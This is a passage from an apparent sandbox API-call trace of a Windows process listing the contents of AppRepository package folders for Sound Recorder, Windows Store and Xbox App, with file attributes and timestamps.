lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0221.887] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf671e32, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb6d62e, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb6d62e, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.888] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf671e32, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb6d62e, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb6d62e, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.889] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb21153, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xbb21153, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xbbb9ac6, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.889] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb21153, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xbb21153, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xbbb9ac6, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.889] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.890] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0221.890] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xb0b9ac11, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.893] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xb0b9ac11, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.893] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c56f72, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c56f72, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c56f72, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.893] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x981c84e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.893] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c30c31, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c30c31, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c30c31, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.893] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.894] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.895] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0221.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.896] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.896] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c56f72, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c56f72, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c56f72, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.896] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x981c84e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.896] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c30c31, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c30c31, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c30c31, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.897] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c30c31, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c30c31, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c30c31, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.897] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.898] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x72 [0221.898] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_2015.10.13.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.898] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.898] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7cf3e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c7cf3e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c7cf3e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.899] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x981c84e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x988ee9b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1700, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.899] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7cf3e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c7cf3e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c7cf3e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.899] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.899] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.899] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x72 [0221.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.10.13.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_2015.10.13.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.900] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x981c84e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.900] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7cf3e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c7cf3e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c7cf3e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.900] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x981c84e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x981c84e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x988ee9b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1700, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.900] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7cf3e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c7cf3e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c7cf3e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.900] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7cf3e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8c7cf3e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8c7cf3e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.901] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.901] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.902] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0221.903] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0b9ac11, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8ca31f1, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x8ca31f1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.907] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.908] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.908] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.909] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0221.912] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All 